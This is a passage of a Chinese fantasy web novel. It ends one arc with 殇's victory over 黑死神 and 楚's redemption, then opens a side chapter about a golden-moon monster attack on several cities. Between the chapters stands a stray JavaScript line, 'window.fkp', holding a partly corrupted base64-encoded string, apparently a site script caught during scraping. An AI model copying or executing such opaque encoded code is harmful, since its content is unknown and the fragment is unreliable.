一道耀眼的光芒之后,那个光球和血色薄雾以及红色光芒消失了,取而代之的是一位身穿仲裁者服装手持一柄大锤的突变体殇。面对现在的殇,黑死神丝毫不慌,甚至想笑,他十分无畏地冲向了殇,试图故技重施。但是殇也不是吃素的,他握紧手中的大锤,张开背后的羽翼,接着一跃而起对着黑死神来了一记重锤。黑死神瞬间反应过来,凭着手中的镰刀的攻击距离比殇的要长,就快速挥舞手中的镰刀试图在空中斩杀殇,但是他低估了殇的力量,殇这一记重锤直接打断了黑死神的攻击,并且把黑死神击退出去四五米。 殇在落地之后做好架势一个冲刺对着还在向后滑行的黑死神连续侧挥了三下锤子,黑死神想用镰刀还击,但没等他动手,他右手的镰刀就已经被打飞了出去,紧接着他用身子接下了殇的两锤子,之后殇用大锤对着黑死神一个仲裁使得锤子上的巨喙对着黑死神狠狠咬了一口,这一口将黑死神击退出去好几米,并且使得他跪倒在了地上。殇后撤几步与黑死神拉开距离,接着做好架势,一个健步一跃而起对着黑死神使出了他的绝招。 殇: “仲裁者之锤!” 面对殇的架势,黑死神双手握住手中的镰刀,并将见到横在身前准备挡攻击。他再次低估了殇的力量,殇的这一锤子直接打断了他手中镰刀柄,紧接着殇的锤子砸在了他的身上。霎时间周围的地面出现了无数的裂缝,许多细小的石头被震得飞了起来,在不到半秒的时间过后,他们所战斗的房顶直接被砸出了个大洞,无数的建筑碎块被震得直接飞到了半空中,同时周围升起了一团灰色的尘雾。黑死神直接被殇一锤子打到了楼下的房间之中,许多碎石砸落在他这个失败者的身上,月光顺着这个大窟窿照进了这个房间,让这个房间变得亮堂了许多。 皎洁的月光照在了他的身上,夜晚的风呼啸着吹过他的身旁,天空中的繁星闪耀着照耀他的光芒,此刻周围突然响起了风吹树叶所发出的滋啦滋啦的声音,除此之外,没有任何的声音。殇的这一锤子彻底结束了战斗,黑死神倒在了地上,他输了,输的很彻底。黑死神试着用手支撑着自己起来,但是他颤抖的身躯已经不允许他再起来了。黑死神试着拿出腰间的万灵药,可是他连拿出万灵药的力气都没有了。 殇解除了他的突变体形态,接着转头走到了黑死神的身旁拿走了万灵药,然后俯下身来看着他。黑死神用一种十分不甘心的眼神看着殇,他的眼里有起来继续战斗的决心,可是他有心无力。 黑死神: “你这个混蛋做了什么?你打败了我,你战胜了我。你还取走了我的成果!接下来你还想要什么?我这个毫无价值的老头的性命吗?哈哈哈......哈哈哈......来啊!杀了我啊!” 殇没说话,只是静静地听着。 黑死神: “你曾是我们所有人的榜样,你曾是位带来希望的英雄啊!为什么?为什么你要毁掉这一切?为什么?为什么你要让痛苦降临于世间?曾经那美丽的世界不是你所梦想的吗?不是你所期望的吗?” 黑死神的话语之中带着一丝哭腔,他的心里很是难受。 黑死神: “你明白吗?所有人都在期望着你归还你欠他们的希望!我们绝大部分的人都失去了希望,唯独就只有少部分人还在与悲惨的命运作斗争!你不明白那种感觉......肩负重任,覆水难收!现在我们都没有希望了......哈哈......哈哈哈.......哈哈哈哈!可悲啊!” 殇听完这些之后陷入了沉思,他此刻面临一个选择,是杀了他呢,还是饶恕他呢?就在殇思考的时候,伊悄悄来到了殇的身旁。 伊: “殇,让我来吧。让我来拯救他吧。” 殇: “你确定吗?他可曾经夺走了你的光之种子啊!” 伊: “我确定。每个人都有迫不得已去做某件事的理由,你也一样。他这么做只是为给他战友报仇而已,他本心并不坏的。” 听到伊这么说,黑死神陷入了沉思,他的心中此刻有着一种莫名的愧疚。 殇: “真搞不懂你。但你说的话我前半句是赞同的。” 伊缓缓走到了黑死神面前,接着对着他伸出了手。黑死神看着伊对他伸出的手,一时之间不知如何是好。伊的脸上挂着一丝温柔的微笑,她的眼神之中满是真诚与善良,看着她的眼神,黑死神感受到一股莫名的温暖。 伊微笑着说: “起来吧,楚。你做到了,你完成了你当初的诺言,你没有让所有人失望。” 黑死神疑惑地问: “你......即使我对你做了那种事,即使我夺走了你珍视的事物,即使我让你陷入到了濒临死亡的困境之中,你也依旧愿意饶恕我这个混蛋吗?” 伊温柔地一笑,说: “当然了!我相信你的本心并不坏,你只是被现实所迫罢了。” 听到伊的回答,黑死神的眼角流出了两行感动的泪水。 黑死神感动地说: “谢谢你,伊。” 黑死神抓住了伊的手,接着缓缓站了起来。他擦了擦眼角的泪水,刚想说些什么,伊突然给了他一个温暖的拥抱。此时,一股暖流涌入了黑死神的核心之中,他感受到了前所未有的感觉。 楚疑惑地问: “这是什么......好温暖,就跟.......曾经的感觉一样,似曾相识。” 此时,殇和伊的眼前出现了楚的内心世界。 楚站在一艘码头的一艘即将离港的小船上,他看了看周围,发现有一道光芒正在照耀着自己,驱散着周围的黑暗。就在他凝视着这道光的时候,一个熟悉的声音从他背后传出。 露露: “楚,好久不见。” 楚听到这个声音回头看去,发现他的几个战友正站在他的身后看着他。楚的眼角泛着泪光,他一时之间不知说什么话才好。 米洛: “楚,你个大男人哭什么啊?见到我们激动了?” 程子韶: “好久不见啊,楚,你还是当年的那个熊样啊!” 斯拉夫: “兄弟!好久不见,近来如何啊?” 楚很激动地说: “大......大家......” 露露走到了楚的身边,给楚擦了擦眼角的泪水。 露露: “别哭了,笑一笑吧。笑容有利于健康的。” 楚看着眼前的战友,心里格外的心酸,他按照露露的要求,在脸上挤出了一丝笑容。这笑容比起之前来说,要好看多了。 楚欣慰地笑了,说: “能再次见到你们太好了。” 程子韶: “楚,以后好好加油听到了没有?你身上还肩负着我们的使命呢!” 楚点点头,说: “听到了。” 米洛: “楚,加油吧,你距离成功只有一步之遥了啊。” 楚点点头,说: “知道了。” 斯拉夫: “虽然我之前犯下了那等过错,但作为朋友,我还是劝告一句,加油兄弟!我相信你可以完成我们的梦想的。” 楚微笑着说: “我知道了,兄弟。” 此刻,露露的眼角流出了泪水,她的眼神之中满是不舍。 露露: “楚,感谢你还在苦苦坚持着我们的事业,感谢你独自一人扛下了这份重任。继续坚持下去吧,我相信你可以做到的。你的路还很漫长,你还未来到路的终点。这个世界注定很美丽,但也注定很残酷。等一切都结束之后,我们在那边再团聚吧......我在那等你。” 随后露露她们化成许多白色的花瓣,随风飘散了。有几片花瓣落到了楚的手上,楚用手摸了摸这几片花瓣,接着一阵微风吹过,这几片花瓣随着风飘向了远方。此刻的楚,心中再次燃起了斗志,他重新找回了当年的感觉。 楚握紧拳头,斗志昂扬地说: “我还不能说放弃呢!战斗还在继续,路还很漫长,既然都走了这么远了,怎么可以说放弃就放弃。真男人,不惧困难险阻!” 楚心怀希望,重拾斗志的他无所畏惧。楚说: “我肩负着重任,我肩负着大家对我的期待,我肩负着最伟大的使命!即便现实有那么冷酷无情,即便疫病强大到科学无法战胜,即便我的路充满困难险阻,我也依旧要前进!谁说人就一定要屈服于命运!谁说天命不可违背!这世上没有神,只有神一样的人!” 楚充满决心,说: “我会努力前行,直至完成我们的梦想!在这个灰色的世界之中,我会找到其他的色彩,在与疫病的战斗之中,我会成为战场的主宰。我的战友们给予我了无限的动力,为了她,为了他们,为了这个世界上饱受疫病折磨的人们,我要刻苦努力去研制解药,不辜负他们对我的期望!就让我带着这份信念与决心,一直前进下去吧!这个世界注定很美好,但也注定很残酷。” 楚深情地说: “这就是......我说到做到的诚信。” 在一阵耀眼的光芒过后,黑死神变回原来的那位科学家。楚心怀感激地抱着比自己矮了大半头的伊,他十分感谢这个叫做伊的姑娘。 楚感激道: “谢谢你,伊。” 伊十分温柔地说: “楚,带着大家的信念与期望继续前进吧。” 楚点点头,说: “我一定会做到的。” 此刻在伊的核心之中...... 一种莫名的能量涌入了伊的核心,让伊核心之中的光之种子得到了养分。 伊的核心: “光之种子萌芽16.6%。激活碎片2,说到做到的诚信。” 此刻,殇突然回想起了什么东西。 在反抗殖民者的战争后期,引领各方反抗军的将领殇在一次村庄夺取战中遭到内鬼刺杀。内鬼使用一把沾了剧毒的匕首背袭了殇,据传那名内鬼是被殖民者收买的“犬”。殇虽斩杀掉内鬼,但也因中了刀上的剧毒而陷入致命危险。为了保住自己的性命,殇在村庄附近四处寻医问药,最后从一个药童口中知道一位能炼制包治百病的炼金师隐居在村庄东边的山上。 殇得知这个消息,马不停蹄地就往那座山上赶。在殇赶到地方时,正巧碰上炼金师带子女在林中采集要素。那一次见面,是将军与天才的见面,是两个救天下于水火中之贤才的会面。 那一面,改变了历史的格局,对后世产生了极其深远的“影响”。 殇用情义、胸襟、格局感动了炼金师,让本拒绝干涉世间一切事物的炼金师心甘情愿为殇效忠。殇对炼金师很是欣赏,于是殇与炼金师便结为异性兄弟,成了一对关系要好的朋友,彼此间称呼为挚友。 炼金师从此开始了他传奇的后半辈子。一个默默无闻的天才,走出隐匿他才华的深山,成为了一个时代中最耀眼的一块黄金。 炼金师不仅是治好了殇,还依靠某种奇异的法术将一股强大的力量注入了殇的体内,让殇变得比之前更加强大。这份恩情殇感激不尽,救命之恩再加赠予力量之恩,对于殇这是无上恩情,等同于父母赐予生命之恩。可殇不知道的是,那股力量虽是炼金师善意的赠予,但却埋下了一个隐患。直到许多年以后,殇才知晓那隐患是什么...... 认识炼金师之后,殇非常在意炼金师的子女身上的特征。不同于炼金师,炼金师的子女除了肤色以为都与炼金师不相像。炼金师的大儿子伊米迦列夫的发色为临近白色的浅灰色,小女儿伊娜的发色是棕褐色,这与炼金师的一头白发有一定出入。最让殇感到奇怪的是,炼金师一家最近并没有遭遇什么灾难,炼金师大儿子身上却反常地有几处明显的伤疤,且多为烧伤。这不禁令殇想起了自己的家人...... 殇: “烧伤的痕迹毁掉了他上半部分的脸,还致使他右眼失明,这样的损伤令我觉得熟悉。他真是个可怜的孩子。” 在后来与炼金师的谈话之中,殇了解到炼金师的过去。 炼金师自称自己是天赐之子,从小过着无父无母的生活,是突然降临到这个世界上的。也许是他真正的父母抛弃了他,又也许正如他说的那样,他是突然降临到这个世界上。 炼金师在他师父的培育下长大成人,又继承了他师父的炼金术,成为了这世上掌握古代炼金术的最后一人。他象征了炼金术师们最后的辉煌,因为他是博学无双的末代炼金学“王子”。 炼金师由于隐居深山,这辈子几乎没与女人打过几回交道,自然也就没有媳妇。不过据炼金师所言,他其实对女人不感兴趣。比起爱情,他更渴望知识。殇和炼金师有一丝相像,不过殇曾经有过一段幸福的婚姻,虽然因某些因素断绝香火,但那段回忆仍很甜蜜。同殇一样,炼金师的孩子并非是他的亲身骨肉。伊米迦列夫和伊娜都是他捡来的孩子。伊米迦列夫是晕倒在林中被他捡回,而伊娜则是在襁褓中时被他捡回,他们两个都是苦命的孩子。 一个姑娘,一个小子,殇不禁想起了自己的子女。他也曾是两个孩子的父亲。尽管事情已经过去多年,每当回想,殇仍会觉得悲伤。家破人亡的痛楚、无法遗忘的遗憾,殇的心再度被刺痛。不过一码归一码,痛苦只能推波助澜,让殇更加坚强。 在殇打赢反抗殖民者的战争之后,殇并没有亏待炼金师一家。身为殇的挚友,炼金师得到了享不尽的荣华富贵与响亮的名声,但清廉一身的炼金师仍选择原来的那种生活,他的初心是不变的。这让殇更加欣赏他,在殇心里他无愧于国家之梁。 回到现在...... 楚和伊松开了对方,他们两个人都笑了,这使得在一旁看着的殇很是疑惑。此刻,楚拿出了腰间的那瓶万灵药,殇见此以为是楚还想战斗,刚召唤出亚特兰蒂斯,只见楚将这瓶万灵药递给了伊,并用和善的语气跟伊说话。 楚: “伊,这瓶万灵药还有一小部分,你把它喝了吧,这样你体内的光之种子将会与你绑定,到时候没人可以取走它。” 伊: “你把你制作了许久的成功给我喝真的没关系吗?” 楚: “没事。喝吧,孩子。这个东西我还能再造一瓶出来。” 伊: “好吧。” 旁边的殇见此,急忙把亚特兰蒂斯收了回去,假装无事发生。 殇心里: “原来如此,那没事了。” 伊一口把剩下的一丁点万灵药喝了下去,接着她的眼睛突然变成了金黄色,同时一股强大的能量涌入了她的体内。很新奇的是,伊并没有出现像疫医那样的特殊状态,她也没感受到什么异样。 楚惊奇地说: “你竟然没有出现任何反应?!这太不可思议了!” 伊好奇地问: “昂?反应?喝这瓶药会出现什么反应吗?难不成会像你之前核心暴走时那样?!可我什么都没感觉到啊。” 楚似乎明白了什么,他默默地点头。 楚: “我明白了......也许是体质的原因。” 伊: “哦。——顺带一提,万灵药喝起来还挺甜的。” 楚: “伊,现在你的身体就远超常人了,现在的你比以前更强,如果有人试图伤害你,你完全可以杀了对方。” 伊: “哦,那还挺好的。起码以后我也帮殇战斗了。” 殇不屑地一笑,说: “切,菜鸟。别以为喝了万灵药你就能达标了,你还差得远呢。” 伊微笑着回应道: “知道了,殇。以后我会更加努力的!” 许多天后...... 在那个海王曾经驻守的码头上,一艘前往天堂岛大船准备离港了。此时风暴已经过去,这里将有很长一段时间不会下雨了。这时,海王和楚站在港口上送别殇一行人。 海王: “殇,船已经就绪了,你们现在可以离开这里前往天堂岛了。” 殇: “知道了。我们很快就会上船离开这里的。” 海王: “风向天气什么的你们可以不用担心,风暴沿着西北方向着东玲国那边飘去了,估计在一段时间后会到达东玲国的本土,你们的路上不会遇到风暴的。” 殇: “那挺好。” 海王: “这艘船是电动的,而且里面还有备用的发电机与帆,再加上我还往船舱里面填了两桶机油,这些保证你们可以安全抵达天堂岛。” 殇: “海王,真是麻烦你了。” 海王: “没关系。作为这里的守护者,这些都是应该的。” 这时,伊想到一个问题。 伊问楚: “对了,楚。你以后打算干什么呢?” 楚浅浅地一笑,说: “我想去通过稀释万灵药的方法来净化森林与水源,看看这样会不会使那些被疫病感染的动物与植物变回原来的样子。我坚信,到最后我能制造出可以根治疫病的药水。” 伊鼓励他道: “那就你加油吧!我相信你可以做到的。” 楚点点头,说: “嗯。” 这时,马婷婷激动地向楚道谢。 马婷婷: “楚叔叔!感谢你治好了我的胳膊,并且款待了我好几天,最重要的是让我做了个好梦!真的万分感谢!” 楚: “不用客气,马婷婷。我只是做了一件不起眼的善事而已。” 马婷婷: “楚叔叔,加油哦!我相信你可以完成你的梦想的。” 楚: “知道了。” 分别的时候总是来得匆匆,不知不觉就要告别这个国家。 殇冲伊和马婷婷喊道: “别闲聊了!上船吧,我们该走了。” 伊和马婷婷回过头来,说: “知道了!殇。” 最后时刻,伊和马婷婷向送他们离开的人们道别。 伊: “拜拜了!海王。拜拜了!楚。” 马婷婷: “拜拜,海王。拜拜,楚。” 楚和海王: “有缘再见!” 之后殇一行人登上了这艘大船,接着引擎发动,这艘大船离开了港口,向着远方的天堂岛驶去。在船上,殇在开船,而马婷婷和伊正在船尾对着站在码头上的海王和楚挥手道别。在人影完全消失之后,马婷婷和伊走到了甲板上,接着在围栏边凝望着这片蔚蓝色的大海。 望着这片蔚蓝的海洋,马婷婷心情大好,不由得感叹道: “大海真美啊!” 伊笑了笑,附和道: “是啊,大海真美啊。” 马婷婷意识到伊也来赏海,于是便问: “伊,你说海的那边是什么呢?” 伊微笑着回答: “我觉得海的那边是一片生机盎然的土地。” 马婷婷笑了笑,回忆起过去,她说: “我觉得海的那边是能看到鲜花盛开的地方。吴阿姨曾经给我们讲过一个故事,说是在海的另一边有个叫做秋山国的地方,那里遍地盛开着美丽的花朵,而且还有漂亮的花仙子姐姐,据说那个地方跟世外桃源似的。因为这个,我对这个故事的印象最深刻。” 伊微笑着告诉她: “对啊。秋山国确实是个开满鲜花的地方,而且还有许多的麦子与树林。” 马婷婷激动地问: “真的?你去过那个地方吗?” 伊点头,告诉她: “去过,虽然只看了几眼,但是那种景象我的印象还是很深刻的。” 马婷婷一脸期待地问: “你能给我讲讲秋山国的故事吗?” 伊直爽地答应道: “好啊!只不过我得回想一会,等晚饭之后我再给你讲吧。” 马婷婷欣喜地点点头,说: “好。” 马婷婷看了一会海,她此刻突然想到了心中的两个疑问。她立刻转头去问伊这两个问题。 马婷婷问: “对了,伊。我有个问题想问你。你说为什么这个世界这么美丽,而生活在其中的人那么痛苦呢?” 伊回答: “怎么说呢......一句话概括吧。这个世界注定很美丽,但也注定很残酷。” 马婷婷追问: “这是为什么呢?” 伊解释道: “我也不知道啊。也许,这就是事物本来的规律吧。” 突然,马婷婷想起了一件事,便问: “对了,伊。我还有问题想要问你。话说那时候具体发生了什么啊?为什么楚瞬间就跟变了个人似的啊?” 伊闭上眼露出一抹微笑,说: “这个啊......说来话长啊.......” ...... 与此同时,在世界最强协会:三角协会的总部,一只“眼”正在向她所效忠的三大管理员汇报消息。 埃琳娜(都市之眼副会长): “管理员大人,受到最新消息,已经确认殇王国的国王现在人与灵魂已经分离了。承载灵魂的那个部分就在前往天堂的路上,而他的肉体则被封存在了殇王国的王座之间。下一步如何行动,三位管理员。” 轇: “哦?有意思。看样子碧蓝世界的保密工作做得不好啊。” 弗: “看来事情渐渐变得有趣起来了呢。” 寰: “姐妹们,看样子又有特殊事物需要我们亲手处理了。那个附生在尸体上的机械寄生虫,里面藏着奇点。我对他体内封藏的核心有浓厚的兴趣。若是能弄到他核心所封存的奇点,也许将能改变许多事情。” 轇: “你还是那样呀,寰。——他体内的奇点并不重要,重要的是他的那颗灵魂。他有多强对我们并未意义,只要不影响都市的法则,就没有立即清除的必要。” 弗: “轇姐姐所言极是。——都市之眼,盯紧他,如果他做出了什么会危害都市法则的行为,就立刻处死他。” 埃琳娜: “是!” 寰: “我还是觉得让我亲自直接处死他比较好,毕竟这样既省事又能让我感到愉悦。” 弗: “不,现在绝对不能轻易处死他。肃清者姐姐还在观察着他呢。依照肃清者姐姐的习惯,我们这样冒失定是要付出惨痛的代价的。” 寰: “好吧。但我会寻找机会的。我已经等得饥渴难耐了,迫不及待地想要打败他!与这样强大又神秘的对手交战可是件无上光荣的事情呀!令我兴奋。” ...... 宙级洪流钟: “警告!时间线出现严重矛盾!警告!时间线出现错误!时间紊乱指数达到15%!警告!扭曲现象正在加剧!警告!警告......” 宙级洪流: “事情渐渐走上正轨了......可是扭曲现象在此刻加剧了。想必,四大天灾也要降临了吧......” 青兰国 —完 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 天堂岛—第零话:小剧场2 通历43年6月11日,殇离开青兰国的第五天。 今日的黄昏时分,在幸存者联盟国的巨星城郊区外的废墟之中,两名都市猎人正在寻找在废墟之中的特殊晶石。他们一个叫林,一个叫比娜。他们是一对彼此依靠的情侣,是众多都市谋生者情侣组合的一对。两人虽来自不同的国家,却有着几乎同样悲惨的遭遇。都市人的同病相怜往往能使彼此之间的关系变得亲密起来,这也许就是他们走到一起的原因。 两人所寻找的特殊晶石可以换取他们好几周的生存资金,因此两人才冒着生命危险来到随时可能被扭曲生物所袭击的废墟来去寻找这种晶石,只为了能活下去。 两人在已经被扭曲生物毁灭的不成样子的房屋之间来回穿梭,争取早点找到他们想要的晶石。这时,一阵阴冷的寒风呼啸而过,比娜感到了一丝恐惧,她想要说出这种感觉,但碍于面子,她假装没有一点害怕。在石堆之中翻找晶石的时候,林突然挖到了一具面目全非的尸骸,他被吓了一跳。他看了看这具尸骸,心中有点害怕,他转头去另一边的石堆去寻找晶石。这时,他的身后突然传来了比娜的喊声。 “林!快看!金......金月升起来了!” 林立刻停止翻找石堆,紧接着跑到了比娜所处的大楼缺口处往地平线处一看,一轮发着诡异金色光芒的圆月已经升起。 林大惊失色,拉起比娜的手,说: “不......不好!比娜,跟紧我,我们必须离开这里!” 这时,在远处的废墟之中传来了扭曲生物与狼的嚎叫,林和比娜深感恐惧。他们两个马不停蹄地向着巨星城的郊区跑去,生怕被后面的扭曲生物追上吃掉。他们都知道这种吼声意味着什么。 每当这种吼声出现,扭曲生物都会从黑暗中复苏,变得躁动起来。往往这时,都市的守护者们就要出马镇压,以防扭曲生物摧毁都市。这次的吼声与以往的吼声不太一样,以前的吼声是十分低沉的,而现在的吼声是十分刺耳的,仿佛是某个强大的存在降临到了扭曲生物之中。 就在林带着比娜逃到了郊区边缘的时候,几只巨大的扭曲生物包围了他们,他们见此只能硬着头皮去与这几只比自己大上四五倍的扭曲生物作战。在不到五分钟的战斗过后,他们两个都受到了不同的伤,但好在他们摆脱了扭曲生物的包围。比娜的腿受了很严重的伤,她现在走路都很费劲了,就在这个时刻,还能够快速移动的林没有选择最稳妥的方法:自己逃走,而是选择了搀扶着比娜一起前进。 比娜: “林,你不用这样做的。你先走吧,这样我们两个之中起码能活下来一个。” 林: “说什么呢,要活着就一起活着,抛弃同伴算什么男人。” 比娜: “呵。跟了你是我这辈子最正确的选择。” 这时,一只十分巨大且扭曲狰狞的扭曲生物出现在了两人后方的空中。它长着三只巨大的眼睛、一对能够撕碎鲸鱼的巨镰状爪子、一双可以抓起猎物的大手和形状类似于大脑的躯体。它的身体底部有着类似于脊椎骨的捕食器官,它的头顶上有一张可以吞下一切以及充满獠牙且巨大的嘴,看起来格外的渗人。 这只扭曲生物凝视着地面上的林和比娜,它举起它的镰刀爪,对准了在地面上的林和比娜。就在它要挥出这一击的时候,它的身下出现一道渐渐变大的黑影,紧接着就从它的上方传出了一句话。 “吃我大楼哒!” 他说完这句话的瞬间,一栋废弃了许久的大楼砸在了这个扭曲生物的身上,紧接着把它压成了一堆碎肉。听到背后的响动,林和比娜双双回头看向身后。看到眼前的景象,这两人被吓了一跳,他们有些不敢相信自己的眼睛。倒下的大楼上有着一个模糊的人影。这时,他们想起了一位会拆楼的都市之星大表哥,他们这才相信了眼前的事实。 比娜: “那是......都市之星大表哥?” 林: “想不到可以在这里见到这等传奇人物。” 这时有人的说话声从他们的背后传来。 “女士,先生。别站在那里发愣了!这里可不是你们这些低阶都市猎人该来的地方。” 他们两个转头看去,发现都市之中的传奇人物枪械帝王正拿着他的那把做工精良的霰弹枪站在他们的后方。 林: “枪械帝王?你也来这里了?发生什么事了?你怎么也来了?” 比娜: “就是一场暴动也不至于出动你们两个吧?” 枪械帝王: “你们可能不知道你们正所处怎样的事件之中......天灾即将到来,你们两个赶紧回城吧!不然到时候我可看不到你们‘一家三口’出门的景象了。那可真不好啊。” 林和比娜相互看了一眼。 枪械帝王: “愣在那里干什么?赶紧走啊!” 林和比娜: “哦。” 说完,林扶着比娜走向了郊区,最后消失在了枪械帝王的视野之中。在送走这两人之后,枪械帝王笑了笑,接着给手中的枪上好了子弹,做好了应对接下来的大战的准备。 破晓黎明: “嘿!枪械帝王,别自己一个人把风头都抢尽了!” 枪械帝王听到声音回头一看,发现反抗之盾组织的三大头目站在自己的后方。这三人分别是夜歌的三位好友,他们分别是:手持一把斧长刃(斧头与大刀的结合体)的轻甲战士破晓黎明、手持双刀的带帽战士邪阳正午和手持一把剧毒长刀与紫黑色狙击步枪的无影刺客寂静午夜。 见到这三个人,枪械帝王笑了笑,虽然他们之间不怎么熟,但他还是把他们三个当成了他的朋友。 寂静午夜: “没有我们的帮助,你是对付不了金月的。你应该知道金月的威胁有多大。” 枪械帝王: “当然知道了,不然我也不能在这个时候来这里。要是换做平常,我早就泡在咖啡店里面喝咖啡了。” 邪阳正午: “这次不知道天灾会不会来到这里,如果来了,我们几个就一起把他赶回去吧。” 枪械帝王: “我觉得光凭我们的力量压根就对付不了天灾。” 破晓黎明: “那我们该怎么办呢?让他去屠杀这里的居民吗?” 枪械帝王: “不不不,我们还有帮手呢。” 说完,枪械帝王看向了最近的一栋房子的楼顶,这三人也跟着看过去。此刻他们三人瞬间瞪大了眼睛,只见夜歌与大表哥一同站在楼顶上看着他们。 大表哥: “晚上好啊!兄弟们。” 寂静午夜: “大表哥?都市之星怎么也来了?” 邪阳正午: “夜歌大哥!你怎么来了?你不是......” 夜歌: “情况特殊,我必须出面保护我的人民。顺带一提,不止我一个人来了。” 说完,夜歌看向了他们三人的身后。这三人见此转头看去,他们惊奇地发现都市知名人物阿努比斯和都市之星无颜客就站在他们身后。 破晓黎明: “卧槽!什么情况?” 无颜客: “这次是天灾本体来到,我必须出面去解决,否则一方百姓将遭受天灾摧残。” 阿努比斯: “我只是来凑个热闹,顺便保护一下这里的居民。” 枪械帝王: “伙计们,坏女人来了。” 此刻几道闪电从他们面前出现,紧接着身为三大管理员其一的弗来到了他们面前。 弗: “你好啊,小可爱们。” 见到管理员出现,邪阳正午他们三个瞬间瞪大了眼睛,他们很难想象有朝一日可以见到高高在上的顶级协会的三大巨头之一的弗。如今他们是一饱眼福了,能有幸见到管理员。 弗: “我奉协会之命来此镇压天灾,请问你们是否与我在同一战线呢?” 所有人都点了点头。 弗: “那太好了,这样战斗的时候起码不是孤军奋战了。” 大表哥此刻突然察觉到了什么,他猛地一回头,发现之前被他用大楼压死的那种怪物在天空中再次出现了,而且还不止一只,足足有五只。同时许多扭曲生物开始在废墟之中穿梭,还有几只正在楼顶上看着他们。大表哥见此立刻召唤出了他的Emw:一对究极之拳,随即做好了战斗的准备。 大表哥: “伙计们!现在不是闲聊的时候了。金月暴动开始了!扭曲生物开始进攻了!” 说完,大表哥的操纵究极之拳直接将最近的两台运输车直接拿起来砸向了在空中的巨型扭曲生物皇天。这两台运输车成功重创了皇天,并且落地后还砸死了一群小型的扭曲生物食尸鬼。 此时此刻,夜空瞬间变成了金黄的颜色,许多发着金光的流星在空中盘踞,好似在迎接天灾的降临。巨大的金月发出了耀眼的光芒,这些光芒照在扭曲生物身上后使得扭曲生物发生了变异,并且使它们变得更加疯狂,它们对着天空发出了怒吼,好似在抱怨这个冷酷世界的不公。看着这一切,弗缓缓地说出了一句发自肺腑的话。 “金月耀光,盘星璀璨,黄金夜空,驱尽黑暗。征服者午夜,开始了。” 紧接着,弗和周围的所有人进入了战斗状态,在扭曲生物接近的一瞬间,战斗开始了...... 与此同时在太玄国的兴安城的高墙外,一个全身上下除了双眼以外都是白色的男人缓缓走向了高墙。 他看着面前这堵足足有六十多米高的高墙笑了笑,紧接着他的身体周围冒出半透明的紫光触手,扭曲的力量蕴含在其中。他举起了他的左手,握拳,对准这堵高墙就是一个冲刺拳。这一拳直接给这面高墙打出了个高有七八米的大洞。他见状笑了笑,又用嘴吹了吹拳头上的灰。 征: “想不到你们竟然这么怕我们,竟然修了这么厚这么高的城墙。哈,这墙还是修到你们的房子旁边吧,正好可以把你们关在里面饿死,省的我们去亲手杀了你们。” 征拿出一个复杂的机关葫芦看了看,又将葫芦放回身上。 征: “看样子,距离收集够实验所需的希德薇拉能量还需要付出很多努力呀。不管了,既然母亲有恩于我们,那我们便帮母亲实现她的愿望。” 征挥了挥手,然后好几只体型巨大的扭曲生物直接从地里钻了出来,接着走到他的身边。这时,一阵带着花香的微风吹过,吹起了征的头发,此时的征看起来好似一位坏到了极点的虚伪侠客。征露出了狂妄的笑容,他一想到接下来会发生的事情就十分兴奋。 征: “扭曲生物们,到了你们猎杀的时刻了。准备攻城吧!” 说完,征的左手变成了极其锋利的手刃,他冲向这面高墙,对着这面高墙连续砍了好几下把这面高墙砍出了个巨大的窟窿,高墙被突破。顿时一片灰色的尘雾填满了这个窟窿,在窟窿另一头的居民看到高墙被打破之后慌了神,一时之间都愣在原地。他们的目光都死死地盯着这片灰色的尘雾,不一会,一个身影出现在尘雾之中,接着这个身影笑着走出了尘雾,然后十分满意地打了个响指。 这时一阵血肉断裂的声音在尘雾之后传出,紧接着那些庞大的扭曲生物变成了许多人形的分身。它们穿过尘雾,对着这些居民发出了怒吼,之后便张牙舞爪地冲向了这些居民。这些居民见此腿都吓软了,他们想要逃跑,可惜为时已晚。他们没等开始跑,就被这些怪物一把扑倒,紧接着就是阵阵惨叫声与肉体被撕裂的声音。征见此笑着张开双臂,对着他所有的部下下达了他至高无上的命令。 “扭曲生物听令,城内的人随便杀。那些身强体壮的留给我,我要亲自跟他们玩玩游戏。” 在短短十分钟之内,在以高墙缺口为半径100米范围内的所有建筑被扭曲生物悉数摧毁,并且这里居住的人们也被扭曲生物变成了养分。这些人形的扭曲生物在得到养分之后开始与旁边的同伴进行结合,最后变成了更大更猛的猛兽。兴安城的驻军以及战斗协会立马投入战斗,他们不顾生命危险直接前去镇压金月暴乱,虽然战斗力差距悬殊,但是他们还是能应付过来的。面对这些不顾生命危险赶来的协会成员与驻军,征露出了满意且狂妄的笑容。 征: “来了这么多人啊?想必其中一定有高手吧!既然有高手,那么就让我好好跟你们玩一玩吧。毕竟我也很久没有玩过游戏了。” 与此同时,太玄国的王室得知了天灾降临的消息,便立刻派出了镇压部队前去镇压金月暴乱。由于事态十分严重,太玄国的皇帝李华龙派出了王宫之中最强的两个战士兼皇家护卫龙凤卫前去协助镇压天灾。 与此同时...... 在一阵腥风血雨之后,前来镇压的协会成员与驻军几乎全部牺牲。 这时有一个浑身是伤的士兵正拿着长矛无力地靠在一栋房子旁边挣扎,此刻有一个人形的扭曲生物正在靠近他,这个扭曲生物对他露出了獠牙,看样子是要吃了他。他试着挥舞手中的长矛来赶走它,但是他此时双臂受伤,压根没力气挥动长矛。 他十分绝望地看着这个扭曲生物离自己越来越近,他心想自己肯定要死在这个扭曲生物的口中了,他放弃了挣扎。就在这个扭曲生物扑向他的一瞬间,一把利剑刺穿了这个扭曲生物的头,接着这个扭曲生物被这把利剑切成了碎块。这个士兵转头一看,发现有一位战士突然出现在了这个扭曲生物的身边。 这个突然出现的战士为了防止这个扭曲生物的尸体被它的同伴食用转化为养分,她用核心能量给自己的剑上了一层火焰,然后一剑刺进这个扭曲生物的体内,这个扭曲生物随后开始剧烈燃烧,很快便化为了灰烬。这个战士转头快步走到这个士兵的旁边,检查了一下这个士兵身上的伤,紧接着开口问这个士兵有关战况的问题。在此刻,这个士兵认出了这个突然出现的战士。 